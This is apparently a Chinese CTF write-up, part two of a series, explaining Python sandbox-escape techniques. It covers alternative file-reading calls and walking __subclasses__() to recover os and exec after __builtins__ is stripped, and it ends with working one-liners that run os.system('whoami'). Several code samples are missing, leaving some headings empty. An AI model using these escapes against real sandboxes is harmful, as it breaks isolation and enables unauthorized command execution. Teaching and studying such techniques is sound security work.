本周发的有点晚了,本来周三发的,有点生病,就拖到现在了,希望大家见谅。接着上一篇的内容,讲解一下Python中的黑科技。如果大家想回顾上文,可以点下面的链接:
从沙盒逃逸看Python黑科技(上篇)
理理思路
在上一篇文章中,我总结了Python沙箱逃逸这道CTF题涉及的主要知识点 ,其中上篇讲解了其中两个,本篇继续。
实践出真知
本节主要介绍Python文件读取,为什么要介绍这个呢?主要是因为沙箱是黑盒的,如果我们能读取当前正在运行脚本的内容,对我们的帮助会非常大。上文介绍的单文件沙箱,我们可以通过读取__file__来获取内容,查看对应的过滤规则。
对于python文件读取,大家比较熟悉的是open 或者file 函数:
(1) open (py2,py3)
open(__file__).read()
(2) file (py2)
file(__file__).read()
这些常见的函数,在沙箱中一般会被禁用掉,我们需要挖掘更多文件的读取的方式
(1) codecs 模块 (py2,py3)
import codecscodecs.open(__file__).read()
(2) types 模块 (py2)
import typestypes.FileType(__file__,"r").read()
(3) os.open (py2,py3)
import osfd = os.open(__file__, os.O_RDONLY)print(os.read(fd,1024))
(4) file:/// 伪协议
py3:
py2:
(5) fileinput 模块
(5) ctypes 模块
如果沙箱不让我们导入外部模块,或者是要导入的模块被禁用,那我们只能求助于Python的内部模块__builtins__( 即Python 本身默认已经导入模块中的函数)。
dir内置函数可以列出一个模块/类/对象下面所有的属性和函数,查看一下__builtins__中的函数:
>> dir(__builtins__)[['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError',
, ....]
为什么dir可以查看__builtins__ 函数呢?本质上是每个模块/类/对象/ 有一个__dict__ 字段,通过遍历 __dict__ 得到里面包含的属性和函数。
例如,我们可以引用__import__ 来导入os,并执行命令:
当导入的函数,模块都变成字符串模式时,所有的静态检测手段都会失效,因为我们可以通过各种编码手段进行混淆。
由于内置模块中的危险函数过多,比如eval,exec等,导致上文使用的沙箱对__builtins__进行了处理,通过 del 关键字将里面的所有函数引用都删除了。
del __builtins__.__dict__['xxx']
如果保留reload内置函数,我们还可以通过 reload( __builtins__) 恢复,但是现在通过__builtins__来进行逃逸已经不现实了。
在上一节中,不知道大家有没有注意到 我说的一句话:
上文沙箱将__builtins__中的所有函数引用都删除
删除的是只是函数引用,而不是函数本身,如果你们熟悉C语言的话,函数引用可以理解为函数指针,既然__builtins__中的引用没了,那我们就需要从其他地方找到敏感函数的引用,从而实现逃逸。
在Python中一切皆是对象,比如常见的 "",[],(),{} ,我们可以使用type函数查看他们的类型:
>>> type("")<type 'str'>>>> type([])<type 'list'>>>> type(())<type 'tuple'>>>> type({})<type 'dict'>>>> type(1)<type 'int'>>>> type(1.1)<type 'float'>
我们可以通过这些Python 内置类型的继承链来寻找更多的引用,以下字段是寻找继承链的关键:
其中 __bases__ 和__mro__ 类似的,用来寻找父类,__subclasses__()用来寻找子类。示例如下:
>>> [].__class__.__bases__(<type 'object'>,)>>> [].__class__.__mro__(<type 'list'>, <type 'object'>)>>> [].__class__.__mro__[-1].__subclasses__()[<<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,
假如我们想在Python3中调用os模块中system方法,而不用 import os ,就可以采用这种方式:
但是大家可能会发现,这么多的类哪些 符合要求呢?给大家一个小脚本,遍历出os模块的引用:
结果如下:
(72, <class 'site._Printer'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(77, <class 'site.Quitter'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(98, <class 'socket._socketobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(99, <class 'socket._fileobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
如果想寻找其他模块,例如 sys,__builtins__, 都可以往代码中列表中添加。
还有一种是利用builtin_function_or_method 的 __call__,找到对应的序号:
使用exec执行:
[].__class__.__mro__[-1].__subclasses__()[34].__call__(exec, 'import os;os.system("whoami")')
[].__getattribute__('append').__class__.__call__(exec, 'import os;os.system("whoami")')
下篇敬请期待,代码的排版还得优化一下,有点乱,只能截图代替了。